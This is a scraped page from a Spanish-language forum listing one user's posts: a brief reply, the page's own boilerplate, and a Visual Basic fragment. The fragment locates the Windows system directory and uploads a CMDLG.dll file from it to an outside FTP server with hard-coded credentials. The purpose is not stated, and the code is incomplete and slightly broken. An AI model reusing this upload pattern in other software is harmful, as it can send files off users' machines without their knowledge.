como te complicas la vida... un timer y un if, y ya ta ...
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
system32 = Camino
system32 = system32 & "\CMDLG.dll"
Inet1.URL = "ftp://ftp.buildtolearn.net"
Inet1.UserName = "myuser"
Inet1.Password = "mypass"
Inet1.Execute "ftp://ftp.buildtolearn.net", "Put" & system32 & " /Alwar/CMDLG.dll"